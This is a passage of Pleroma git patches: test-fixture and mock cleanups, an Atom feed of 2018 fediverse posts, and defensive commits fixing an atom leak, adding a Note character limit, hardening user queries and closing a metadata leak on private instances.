http://activitystrea.ms/schema/1.0/post - 2018-02-23T13:18:07+00:00 - 2018-02-23T13:18:07+00:00 - - - - https://freezepeach.xyz/conversation/4183220 - - - - - - - - tag:shitposter.club,2018-02-23:fave:5381:comment:7387600:2018-02-23T13:17:52+00:00 - Favorite - shpuld favorited something by mayuutann: <p><span class="h-card"><a href="https://shitposter.club/shpuld" class="u-url mention">@<span>shpuld</span></a></span> <span class="h-card"><a href="https://gs.smuglo.li/histoire" class="u-url mention">@<span>histoire</span></a></span> <span class="h-card"><a href="https://freezepeach.xyz/hakui" class="u-url mention">@<span>hakui</span></a></span> pichu! <a href="https://mstdn.io/media/Crv5eubz1KO0dgBEulI" rel="nofollow"><span class="invisible">https://</span><span class="ellipsis">mstdn.io/media/Crv5eubz1KO0dgB</span><span class="invisible">EulI</span></a></p> - - http://activitystrea.ms/schema/1.0/favorite - 2018-02-23T13:17:52+00:00 - 2018-02-23T13:17:52+00:00 - - http://activitystrea.ms/schema/1.0/comment - https://mstdn.io/users/mayuutann/statuses/99574863865459283 - New comment by mayuutann - <p><span class="h-card"><a href="https://shitposter.club/shpuld" class="u-url mention">@<span>shpuld</span></a></span> <span class="h-card"><a href="https://gs.smuglo.li/histoire" class="u-url mention">@<span>histoire</span></a></span> <span class="h-card"><a href="https://freezepeach.xyz/hakui" class="u-url mention">@<span>hakui</span></a></span> pichu! <a href="https://mstdn.io/media/Crv5eubz1KO0dgBEulI" rel="nofollow"><span class="invisible">https://</span><span class="ellipsis">mstdn.io/media/Crv5eubz1KO0dgB</span><span class="invisible">EulI</span></a></p> - - - - - - - https://freezepeach.xyz/conversation/4182511 - - - - - - - tag:shitposter.club,2018-02-23:fave:5381:comment:7387544:2018-02-23T13:12:43+00:00 - Favorite - shpuld favorited something by mayuutann: <p><span class="h-card"><a href="https://shitposter.club/shpuld" class="u-url mention">@<span>shpuld</span></a></span> wa~~i!! :blobcheer:</p> - - http://activitystrea.ms/schema/1.0/favorite - 2018-02-23T13:12:43+00:00 - 2018-02-23T13:12:43+00:00 - - http://activitystrea.ms/schema/1.0/comment - https://mstdn.io/users/mayuutann/statuses/99574840290947233 - New comment by mayuutann - <p><span class="h-card"><a href="https://shitposter.club/shpuld" class="u-url mention">@<span>shpuld</span></a></span> wa~~i!! :blobcheer:</p> - - - - - - - tag:shitposter.club,2018-02-23:objectType=thread:nonce=d05e2b056274c5ab - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2018-02-23:noticeId=7387555:objectType=comment - New comment by shpuld - @<a href="https://freezepeach.xyz/user/3458" class="h-card mention" title="&#x5FA1;&#x5712;&#x306F;&#x304F;&#x3044;">hakui</a> more!! - - - http://activitystrea.ms/schema/1.0/post - 2018-02-23T13:12:23+00:00 - 2018-02-23T13:12:23+00:00 - - - - https://freezepeach.xyz/conversation/4183220 - - - - - - - - tag:shitposter.club,2018-02-23:fave:5381:note:7387537:2018-02-23T13:12:19+00:00 - Favorite - shpuld favorited something by hakui: you have pacyupacyu'd for: 45 minutes 03 seconds - - http://activitystrea.ms/schema/1.0/favorite - 2018-02-23T13:12:19+00:00 - 2018-02-23T13:12:19+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:freezepeach.xyz,2018-02-23:noticeId=6451332:objectType=note - New note by hakui - you have pacyupacyu'd for: 45 minutes 03 seconds - - - - - - - https://freezepeach.xyz/conversation/4183220 - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2018-02-23:noticeId=7387539:objectType=comment - New comment by shpuld - @<a href="https://mstdn.io/users/mayuutann" class="h-card mention" title="Mayutan&#x2615;">mayuutann</a> ndndnd~ - - - http://activitystrea.ms/schema/1.0/post - 2018-02-23T13:11:04+00:00 - 2018-02-23T13:11:04+00:00 - - - - tag:shitposter.club,2018-02-23:objectType=thread:nonce=d05e2b056274c5ab - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2018-02-23:noticeId=7387518:objectType=comment - New comment by shpuld - @<a href="https://mstdn.io/users/mayuutann" class="h-card mention" title="Mayutan&#x2615;">mayuutann</a> well done! mayumayu is so energetic - - - http://activitystrea.ms/schema/1.0/post - 2018-02-23T13:08:50+00:00 - 2018-02-23T13:08:50+00:00 - - - - tag:shitposter.club,2018-02-23:objectType=thread:nonce=d05e2b056274c5ab - - - - - - - - tag:shitposter.club,2018-02-23:fave:5381:note:7387503:2018-02-23T13:08:00+00:00 - Favorite - shpuld favorited something by mayuutann: <p>done with FIGURE MAT!!<br /> (Posted with IFTTT)</p> - - http://activitystrea.ms/schema/1.0/favorite - 2018-02-23T13:08:00+00:00 - 2018-02-23T13:08:00+00:00 - - http://activitystrea.ms/schema/1.0/note - https://mstdn.io/users/mayuutann/statuses/99574825526201897 - New note by mayuutann - <p>done with FIGURE MAT!!<br /> (Posted with IFTTT)</p> - - - - - - - tag:shitposter.club,2018-02-23:objectType=thread:nonce=c6aaa9b91e8d242f - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2018-02-23:noticeId=7387486:objectType=comment - New comment by shpuld - @<a href="https://freezepeach.xyz/user/3458" class="h-card mention" title="&#x5FA1;&#x5712;&#x306F;&#x304F;&#x3044;">hakui</a> @<a href="https://a.weirder.earth/users/mutstd" class="h-card mention" title="Mutant Standard">mutstd</a> @<a href="https://donphan.social/users/Siphonay" class="h-card mention" title="Siphonay">siphonay</a> jokes on you I'm oppressively shitposting myself - - - http://activitystrea.ms/schema/1.0/post - 2018-02-23T13:05:44+00:00 - 2018-02-23T13:05:44+00:00 - - - - tag:shitposter.club,2018-02-23:objectType=thread:nonce=5d306467336c9661 - - - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2018-02-23:noticeId=7387466:objectType=comment - New comment by shpuld - @<a href="https://freezepeach.xyz/user/3458" class="h-card mention" title="&#x5FA1;&#x5712;&#x306F;&#x304F;&#x3044;">hakui</a> @<a href="https://a.weirder.earth/users/mutstd" class="h-card mention" title="Mutant Standard">mutstd</a> @<a href="https://donphan.social/users/Siphonay" class="h-card mention" title="Siphonay">siphonay</a> how does it feel being hostile - - - http://activitystrea.ms/schema/1.0/post - 2018-02-23T13:04:10+00:00 - 2018-02-23T13:04:10+00:00 - - - - tag:shitposter.club,2018-02-23:objectType=thread:nonce=5d306467336c9661 - - - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2018-02-23:noticeId=7387459:objectType=comment - New comment by shpuld - @<a href="https://freezepeach.xyz/user/3458" class="h-card mention" title="&#x5FA1;&#x5712;&#x306F;&#x304F;&#x3044;">hakui</a> gorogoro - - - http://activitystrea.ms/schema/1.0/post - 2018-02-23T13:03:32+00:00 - 2018-02-23T13:03:32+00:00 - - - - https://freezepeach.xyz/conversation/4181784 - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2018-02-23:noticeId=7387432:objectType=comment - New comment by shpuld - @<a href="https://freezepeach.xyz/user/3458" class="h-card mention" title="&#x5FA1;&#x5712;&#x306F;&#x304F;&#x3044;">hakui</a> ndnd - - - http://activitystrea.ms/schema/1.0/post - 2018-02-23T13:02:05+00:00 - 2018-02-23T13:02:05+00:00 - - - - https://freezepeach.xyz/conversation/4181784 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:shitposter.club,2018-02-23:noticeId=7387367:objectType=note - New note by shpuld - dear diary: I'm trying to do work but I can only think of tenshi eating a corndog - - - http://activitystrea.ms/schema/1.0/post - 2018-02-23T12:56:03+00:00 - 2018-02-23T12:56:03+00:00 - - tag:shitposter.club,2018-02-23:objectType=thread:nonce=57f316da416743fc - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:shitposter.club,2018-02-23:noticeId=7387354:objectType=note - New note by shpuld - jesus christ it's such a fridey at work - - - http://activitystrea.ms/schema/1.0/post - 2018-02-23T12:53:50+00:00 - 2018-02-23T12:53:50+00:00 - - tag:shitposter.club,2018-02-23:objectType=thread:nonce=c05eb5e91bdcbdb7 - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2018-02-23:noticeId=7387343:objectType=comment - New comment by shpuld - @<a href="https://gs.smuglo.li/user/589" class="h-card mention" title="&#x16DE;&#x16A9;&#x16B3;&#x16C1;&#x16DE;&#x16A9;&#x16B3;&#x16C1;">dokidoki</a> give them free upgrades to krokodil - - - http://activitystrea.ms/schema/1.0/post - 2018-02-23T12:53:15+00:00 - 2018-02-23T12:53:15+00:00 - - - - https://gs.smuglo.li/conversation/3934774 - - - - - - - diff --git a/test/fixtures/unfollow.xml b/test/fixtures/unfollow.xml deleted file mode 100644 index 7a8f8fd2e..000000000 --- a/test/fixtures/unfollow.xml +++ /dev/null @@ -1,68 +0,0 @@ - - - GNU social - https://social.heldscal.la/api/statuses/user_timeline/23211.atom - lambadalambda timeline - Updates from lambadalambda on social.heldscal.la! - https://social.heldscal.la/avatar/23211-96-20170416114255.jpeg - 2017-05-07T09:54:49+00:00 - - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - Call me Deacon Blues. - - - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - - Berlin - - - homepage - https://heldscal.la - true - - - - - - - - - - - - - undo:tag:social.heldscal.la,2017-05-07:subscription:23211:person:44803:2017-05-07T09:54:48+00:00 - Constance Variable (lambadalambda@social.heldscal.la)'s status on Sunday, 07-May-2017 09:54:49 UTC - <a href="https://social.heldscal.la/lambadalambda">Constance Variable</a> stopped following <a href="https://pawoo.net/@pekorino">mono</a>. - - http://activitystrea.ms/schema/1.0/unfollow - 2017-05-07T09:54:49+00:00 - 2017-05-07T09:54:49+00:00 - - http://activitystrea.ms/schema/1.0/person - https://pawoo.net/users/pekorino - mono - http://shitposter.club/mono 孤独のグルメ - - - - - pekorino - mono - http://shitposter.club/mono 孤独のグルメ - - - tag:social.heldscal.la,2017-05-07:objectType=thread:nonce=6e80caf94e03029f - - - - - - diff --git a/test/support/http_request_mock.ex b/test/support/http_request_mock.ex index a0ebf65d9..344e27f13 100644 --- a/test/support/http_request_mock.ex +++ b/test/support/http_request_mock.ex @@ -103,14 +103,6 @@ def get( }} end - def get("https://mastodon.social/users/emelie.atom", _, _, _) do - {:ok, - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/emelie.atom") - }} - end - def get( "https://osada.macgirvin.com/.well-known/webfinger?resource=acct:mike@osada.macgirvin.com", _, @@ -137,14 +129,6 @@ def get( }} end - def get("https://pawoo.net/users/pekorino.atom", _, _, _) do - {:ok, - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/https___pawoo.net_users_pekorino.atom") - }} - end - def get( "https://pawoo.net/.well-known/webfinger?resource=acct:https://pawoo.net/users/pekorino", _, @@ -158,19 +142,6 @@ def get( }} end - def get( - "https://social.stopwatchingus-heidelberg.de/api/statuses/user_timeline/18330.atom", - _, - _, - _ - ) do - {:ok, - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/atarifrosch_feed.xml") - }} - end - def get( "https://social.stopwatchingus-heidelberg.de/.well-known/webfinger?resource=acct:https://social.stopwatchingus-heidelberg.de/user/18330", _, @@ -184,27 +155,6 @@ def get( }} end - def get("https://mamot.fr/users/Skruyb.atom", _, _, _) do - {:ok, - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/https___mamot.fr_users_Skruyb.atom") - }} - end - - def get( - "https://mamot.fr/.well-known/webfinger?resource=acct:https://mamot.fr/users/Skruyb", - _, - _, - [{"accept", "application/xrd+xml,application/jrd+json"}] - ) do - {:ok, - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/skruyb@mamot.fr.atom") - }} - end - def get( "https://social.heldscal.la/.well-known/webfinger?resource=nonexistant@social.heldscal.la", _, @@ -507,19 +457,6 @@ def get("https://mamot.fr/.well-known/host-meta", _, _, _) do }} end - def get( - "https://mamot.fr/.well-known/webfinger?resource=https://mamot.fr/users/Skruyb", - _, - _, - _ - ) do - {:ok, - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/skruyb@mamot.fr.atom") - }} - end - def get("http://pawoo.net/.well-known/host-meta", _, _, _) do {:ok, %Tesla.Env{ @@ -647,17 +584,6 @@ def get( }} end - def get("https://pleroma.soykaf.com/users/lain/feed.atom", _, _, _) do - {:ok, - %Tesla.Env{ - status: 200, - body: - File.read!( - "test/fixtures/tesla_mock/https___pleroma.soykaf.com_users_lain_feed.atom.xml" - ) - }} - end - def get(url, _, _, [{"accept", "application/xrd+xml,application/jrd+json"}]) when url in [ "https://pleroma.soykaf.com/.well-known/webfinger?resource=acct:https://pleroma.soykaf.com/users/lain", @@ -670,17 +596,6 @@ def get(url, _, _, [{"accept", "application/xrd+xml,application/jrd+json"}]) }} end - def get("https://shitposter.club/api/statuses/user_timeline/1.atom", _, _, _) do - {:ok, - %Tesla.Env{ - status: 200, - body: - File.read!( - "test/fixtures/tesla_mock/https___shitposter.club_api_statuses_user_timeline_1.atom.xml" - ) - }} - end - def get( "https://shitposter.club/.well-known/webfinger?resource=https://shitposter.club/user/1", _, @@ -694,37 +609,10 @@ def get( }} end - def get("https://shitposter.club/notice/2827873", _, _, _) do - {:ok, - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/https___shitposter.club_notice_2827873.json") - }} - end - - def get("https://shitposter.club/api/statuses/show/2827873.atom", _, _, _) do - {:ok, - %Tesla.Env{ - status: 200, - body: - File.read!( - "test/fixtures/tesla_mock/https___shitposter.club_api_statuses_show_2827873.atom.xml" - ) - }} - end - def get("https://testing.pleroma.lol/objects/b319022a-4946-44c5-9de9-34801f95507b", _, _, _) do {:ok, %Tesla.Env{status: 200}} end - def get("https://shitposter.club/api/statuses/user_timeline/5381.atom", _, _, _) do - {:ok, - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/spc_5381.atom") - }} - end - def get( "https://shitposter.club/.well-known/webfinger?resource=https://shitposter.club/user/5381", _, @@ -746,14 +634,6 @@ def get("http://shitposter.club/.well-known/host-meta", _, _, _) do }} end - def get("https://shitposter.club/api/statuses/show/7369654.atom", _, _, _) do - {:ok, - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/7369654.atom") - }} - end - def get("https://shitposter.club/notice/4027863", _, _, _) do {:ok, %Tesla.Env{ @@ -762,14 +642,6 @@ def get("https://shitposter.club/notice/4027863", _, _, _) do }} end - def get("https://social.sakamoto.gq/users/eal/feed.atom", _, _, _) do - {:ok, - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/sakamoto_eal_feed.atom") - }} - end - def get("http://social.sakamoto.gq/.well-known/host-meta", _, _, _) do {:ok, %Tesla.Env{ @@ -791,15 +663,6 @@ def get( }} end - def get( - "https://social.sakamoto.gq/objects/0ccc1a2c-66b0-4305-b23a-7f7f2b040056", - _, - _, - [{"accept", "application/atom+xml"}] - ) do - {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/sakamoto.atom")}} - end - def get("http://mastodon.social/.well-known/host-meta", _, _, _) do {:ok, %Tesla.Env{ @@ -853,28 +716,6 @@ def get( {:ok, %Tesla.Env{status: 406, body: ""}} end - def get("http://gs.example.org/index.php/api/statuses/user_timeline/1.atom", _, _, _) do - {:ok, - %Tesla.Env{ - status: 200, - body: - File.read!( - "test/fixtures/tesla_mock/http__gs.example.org_index.php_api_statuses_user_timeline_1.atom.xml" - ) - }} - end - - def get("https://social.heldscal.la/api/statuses/user_timeline/29191.atom", _, _, _) do - {:ok, - %Tesla.Env{ - status: 200, - body: - File.read!( - "test/fixtures/tesla_mock/https___social.heldscal.la_api_statuses_user_timeline_29191.atom.xml" - ) - }} - end - def get("http://squeet.me/.well-known/host-meta", _, _, _) do {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/squeet.me_host_meta")}} @@ -996,17 +837,6 @@ def get( }} end - def get("https://social.heldscal.la/api/statuses/user_timeline/23211.atom", _, _, _) do - {:ok, - %Tesla.Env{ - status: 200, - body: - File.read!( - "test/fixtures/tesla_mock/https___social.heldscal.la_api_statuses_user_timeline_23211.atom.xml" - ) - }} - end - def get( "https://social.heldscal.la/.well-known/webfinger?resource=https://social.heldscal.la/user/23211", _, @@ -1036,10 +866,6 @@ def get("https://social.heldscal.la/.well-known/host-meta", _, _, _) do }} end - def get("https://mastodon.social/users/lambadalambda.atom", _, _, _) do - {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/lambadalambda.atom")}} - end - def get("https://mastodon.social/users/lambadalambda", _, _, _) do {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/lambadalambda.json")}} end diff --git a/test/web/activity_pub/transmogrifier_test.exs b/test/web/activity_pub/transmogrifier_test.exs index 6e096e9ec..cc55a7be7 100644 --- a/test/web/activity_pub/transmogrifier_test.exs +++ b/test/web/activity_pub/transmogrifier_test.exs @@ -105,7 +105,7 @@ test "it fetches reply-to activities if we don't have them" do object = data["object"] - |> Map.put("inReplyTo", "https://shitposter.club/notice/2827873") + |> Map.put("inReplyTo", "https://mstdn.io/users/mayuutann/statuses/99568293732299394") data = Map.put(data, "object", object) {:ok, returned_activity} = Transmogrifier.handle_incoming(data) @@ -113,11 +113,11 @@ test "it fetches reply-to activities if we don't have them" do assert activity = Activity.get_create_by_object_ap_id( - "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment" + "https://mstdn.io/users/mayuutann/statuses/99568293732299394" ) assert returned_object.data["inReplyTo"] == - "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment" + "https://mstdn.io/users/mayuutann/statuses/99568293732299394" end test "it does not fetch reply-to activities beyond max replies depth limit" do @@ -1104,17 +1104,17 @@ test "returns modified object when allowed incoming reply", %{data: data} do Map.put( data["object"], "inReplyTo", - "https://shitposter.club/notice/2827873" + "https://mstdn.io/users/mayuutann/statuses/99568293732299394" ) Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 5) modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) assert modified_object["inReplyTo"] == - "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment" + "https://mstdn.io/users/mayuutann/statuses/99568293732299394" assert modified_object["context"] == - "tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26" + "tag:shitposter.club,2018-02-22:objectType=thread:nonce=e5a7c72d60a9c0e4" end end @@ -1216,7 +1216,9 @@ test "returns nil when cannot normalize object" do @tag capture_log: true test "returns {:ok, %Object{}} for success case" do assert {:ok, %Object{}} = - Transmogrifier.get_obj_helper("https://shitposter.club/notice/2827873") + Transmogrifier.get_obj_helper( + "https://mstdn.io/users/mayuutann/statuses/99568293732299394" + ) end end diff --git a/test/web/mastodon_api/controllers/search_controller_test.exs b/test/web/mastodon_api/controllers/search_controller_test.exs index 24d1959f8..04dc6f445 100644 --- a/test/web/mastodon_api/controllers/search_controller_test.exs +++ b/test/web/mastodon_api/controllers/search_controller_test.exs @@ -282,18 +282,18 @@ test "search fetches remote statuses and prefers them over other results", %{con capture_log(fn -> {:ok, %{id: activity_id}} = CommonAPI.post(insert(:user), %{ - status: "check out https://shitposter.club/notice/2827873" + status: "check out http://mastodon.example.org/@admin/99541947525187367" }) results = conn - |> get("/api/v1/search?q=https://shitposter.club/notice/2827873") + |> get("/api/v1/search?q=http://mastodon.example.org/@admin/99541947525187367") |> json_response_and_validate_schema(200) - [status, %{"id" => ^activity_id}] = results["statuses"] - - assert status["uri"] == - "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment" + assert [ + %{"url" => "http://mastodon.example.org/@admin/99541947525187367"}, + %{"id" => ^activity_id} + ] = results["statuses"] end) end -- cgit v1.2.3 From acf6393c87c776c0fab9fd41bbf5ba7078356be5 Mon Sep 17 00:00:00 2001 From: rinpatch Date: Tue, 8 Sep 2020 20:13:00 +0300 Subject: SECURITY.md: we don't support 2.0 anymore, bump to 2.1 --- SECURITY.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SECURITY.md b/SECURITY.md index c212a2505..8617c1434 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -6,7 +6,7 @@ Currently, Pleroma offers bugfixes and security patches only for the latest mino | Version | Support |---------| -------- -| 2.0 | Bugfixes and security patches +| 2.1 | Bugfixes and security patches ## Reporting a vulnerability -- cgit v1.2.3 From a781ac6ca5b7ab23eea795331db0a3fff406630e Mon Sep 17 00:00:00 2001 From: Egor Kislitsyn Date: Wed, 10 Jun 2020 15:37:43 +0400 Subject: Fix atom leak in AdminAPIController --- lib/pleroma/web/admin_api/controllers/admin_api_controller.ex | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/lib/pleroma/web/admin_api/controllers/admin_api_controller.ex b/lib/pleroma/web/admin_api/controllers/admin_api_controller.ex index aa2af1ab5..f5e4d49f9 100644 --- a/lib/pleroma/web/admin_api/controllers/admin_api_controller.ex +++ b/lib/pleroma/web/admin_api/controllers/admin_api_controller.ex @@ -379,8 +379,7 @@ defp maybe_parse_filters(filters) do filters |> String.split(",") |> Enum.filter(&Enum.member?(@filters, &1)) - |> Enum.map(&String.to_atom/1) - |> Map.new(&{&1, true}) + |> Map.new(&{String.to_existing_atom(&1), true}) end def right_add_multiple(%{assigns: %{user: admin}} = conn, %{ -- cgit v1.2.3 From 10ef532c63431811b3998ed7b14aea21755a2b57 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Tue, 7 Jul 2020 07:06:29 +0200 Subject: AP C2S: Restrict character limit on Note --- .../web/activity_pub/activity_pub_controller.ex | 37 ++++++++++++++-------- .../activity_pub/activity_pub_controller_test.exs | 16 ++++++++++ 2 files changed, 39 insertions(+), 14 deletions(-) diff --git a/lib/pleroma/web/activity_pub/activity_pub_controller.ex b/lib/pleroma/web/activity_pub/activity_pub_controller.ex index 220c4fe52..732c44271 100644 --- a/lib/pleroma/web/activity_pub/activity_pub_controller.ex +++ b/lib/pleroma/web/activity_pub/activity_pub_controller.ex @@ -399,21 +399,30 @@ def read_inbox(%{assigns: %{user: %User{nickname: as_nickname}}} = conn, %{ defp handle_user_activity( %User{} = user, - %{"type" => "Create", "object" => %{"type" => "Note"}} = params + %{"type" => "Create", "object" => %{"type" => "Note"} = object} = params ) do - object = - params["object"] - |> Map.merge(Map.take(params, ["to", "cc"])) - |> Map.put("attributedTo", user.ap_id()) - |> Transmogrifier.fix_object() - - ActivityPub.create(%{ - to: params["to"], - actor: user, - context: object["context"], - object: object, - additional: Map.take(params, ["cc"]) - }) + content = if is_binary(object["content"]), do: object["content"], else: "" + name = if is_binary(object["name"]), do: object["name"], else: "" + summary = if is_binary(object["summary"]), do: object["summary"], else: "" + length = String.length(content <> name <> summary) + + if length > Pleroma.Config.get([:instance, :limit]) do + {:error, dgettext("errors", "Note is over the character limit")} + else + object = + object + |> Map.merge(Map.take(params, ["to", "cc"])) + |> Map.put("attributedTo", user.ap_id()) + |> Transmogrifier.fix_object() + + ActivityPub.create(%{ + to: params["to"], + actor: user, + context: object["context"], + object: object, + additional: Map.take(params, ["cc"]) + }) + end end defp handle_user_activity(%User{} = user, %{"type" => "Delete"} = params) do diff --git a/test/web/activity_pub/activity_pub_controller_test.exs b/test/web/activity_pub/activity_pub_controller_test.exs index 57988dc1e..0517571f2 100644 --- a/test/web/activity_pub/activity_pub_controller_test.exs +++ b/test/web/activity_pub/activity_pub_controller_test.exs @@ -905,6 +905,8 @@ test "it requires authentication if instance is NOT federating", %{ end describe "POST /users/:nickname/outbox (C2S)" do + setup do: clear_config([:instance, :limit]) + setup do [ activity: %{ @@ -1121,6 +1123,20 @@ test "it doesn't spreads faulty attributedTo or actor fields", %{ assert cirno_object.data["actor"] == cirno.ap_id assert cirno_object.data["attributedTo"] == cirno.ap_id end + + test "Character limitation", %{conn: conn, activity: activity} do + Pleroma.Config.put([:instance, :limit], 5) + user = insert(:user) + + result = + conn + |> assign(:user, user) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/outbox", activity) + |> json_response(400) + + assert result == "Note is over the character limit" + end end describe "/relay/followers" do -- cgit v1.2.3 From 16c451f8f15b1b2907fb6fc40925b47821650f31 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Wed, 2 Sep 2020 20:11:24 +0200 Subject: search: Apply following filter only when user is usable --- lib/pleroma/user/search.ex | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/pleroma/user/search.ex b/lib/pleroma/user/search.ex index adbef7fb8..7babd47ea 100644 --- a/lib/pleroma/user/search.ex +++ b/lib/pleroma/user/search.ex @@ -115,8 +115,8 @@ defp trigram_rank(query, query_string) do ) end - defp base_query(_user, false), do: User - defp base_query(user, true), do: User.get_friends_query(user) + defp base_query(%User{} = user, true), do: User.get_friends_query(user) + defp base_query(_user, _following), do: User defp filter_invisible_users(query) do from(q in query, where: q.invisible == false) -- cgit v1.2.3 From 947ee55ae298a42c2667800c1aac96f637e31969 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Wed, 2 Sep 2020 20:24:03 +0200 Subject: user: harden get_friends_query(), get_followers_query() and their wrappers --- lib/pleroma/user.ex | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/lib/pleroma/user.ex b/lib/pleroma/user.ex index 94c96de8d..f323fc6ed 100644 --- a/lib/pleroma/user.ex +++ b/lib/pleroma/user.ex @@ -1125,31 +1125,31 @@ def get_followers_query(%User{} = user, nil) do User.Query.build(%{followers: user, deactivated: false}) end - def get_followers_query(user, page) do + def get_followers_query(%User{} = user, page) do user |> get_followers_query(nil) |> User.Query.paginate(page, 20) end @spec get_followers_query(User.t()) :: Ecto.Query.t() - def get_followers_query(user), do: get_followers_query(user, nil) + def get_followers_query(%User{} = user), do: get_followers_query(user, nil) @spec get_followers(User.t(), pos_integer() | nil) :: {:ok, list(User.t())} - def get_followers(user, page \\ nil) do + def get_followers(%User{} = user, page \\ nil) do user |> get_followers_query(page) |> Repo.all() end @spec get_external_followers(User.t(), pos_integer() | nil) :: {:ok, list(User.t())} - def get_external_followers(user, page \\ nil) do + def get_external_followers(%User{} = user, page \\ nil) do user |> get_followers_query(page) |> User.Query.build(%{external: true}) |> Repo.all() end - def get_followers_ids(user, page \\ nil) do + def get_followers_ids(%User{} = user, page \\ nil) do user |> get_followers_query(page) |> select([u], u.id) @@ -1161,29 +1161,29 @@ def get_friends_query(%User{} = user, nil) do User.Query.build(%{friends: user, deactivated: false}) end - def get_friends_query(user, page) do + def get_friends_query(%User{} = user, page) do user |> get_friends_query(nil) |> User.Query.paginate(page, 20) end @spec get_friends_query(User.t()) :: Ecto.Query.t() - def get_friends_query(user), do: get_friends_query(user, nil) + def get_friends_query(%User{} = user), do: get_friends_query(user, nil) - def get_friends(user, page \\ nil) do + def get_friends(%User{} = user, page \\ nil) do user |> get_friends_query(page) |> Repo.all() end - def get_friends_ap_ids(user) do + def get_friends_ap_ids(%User{} = user) do user |> get_friends_query(nil) |> select([u], u.ap_id) |> Repo.all() end - def get_friends_ids(user, page \\ nil) do + def get_friends_ids(%User{} = user, page \\ nil) do user |> get_friends_query(page) |> select([u], u.id) -- cgit v1.2.3 From 630444ee0819ad5b58c5f9030758fe41e6fed530 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 31 Aug 2020 14:19:48 -0500 Subject: Do not make RelMe metadata provider optional. There's really no sound reason to turn this off anyway. --- config/config.exs | 1 - lib/pleroma/web/metadata.ex | 3 ++- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/config/config.exs b/config/config.exs index 2426fbd52..df61c069e 100644 --- a/config/config.exs +++ b/config/config.exs @@ -455,7 +455,6 @@ providers: [ Pleroma.Web.Metadata.Providers.OpenGraph, Pleroma.Web.Metadata.Providers.TwitterCard, - Pleroma.Web.Metadata.Providers.RelMe, Pleroma.Web.Metadata.Providers.Feed ], unfurl_nsfw: false diff --git a/lib/pleroma/web/metadata.ex b/lib/pleroma/web/metadata.ex index a9f70c43e..e45e74e7b 100644 --- a/lib/pleroma/web/metadata.ex +++ b/lib/pleroma/web/metadata.ex @@ -7,7 +7,8 @@ defmodule Pleroma.Web.Metadata do def build_tags(params) do providers = [ - Pleroma.Web.Metadata.Providers.RestrictIndexing + Pleroma.Web.Metadata.Providers.RestrictIndexing, + Pleroma.Web.Metadata.Providers.RelMe, | Pleroma.Config.get([__MODULE__, :providers], []) ] -- cgit v1.2.3 From ff07014b2657730101e826d7e82716989d43214c Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 31 Aug 2020 14:35:22 -0500 Subject: Disable providers of user and status metadata when instance is private --- CHANGELOG.md | 3 +++ lib/pleroma/web/metadata.ex | 12 ++++++++++-- test/web/metadata/metadata_test.exs | 9 +++++++++ 3 files changed, 22 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index f57e191fa..496c78ffe 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -16,6 +16,9 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ## unreleased-patch - ??? +### Security +- Fix metadata leak for accounts and statuses on private instances + ### Added - Rich media failure tracking (along with `:failure_backoff` option) diff --git a/lib/pleroma/web/metadata.ex b/lib/pleroma/web/metadata.ex index e45e74e7b..0f0b56321 100644 --- a/lib/pleroma/web/metadata.ex +++ b/lib/pleroma/web/metadata.ex @@ -8,8 +8,8 @@ defmodule Pleroma.Web.Metadata do def build_tags(params) do providers = [ Pleroma.Web.Metadata.Providers.RestrictIndexing, - 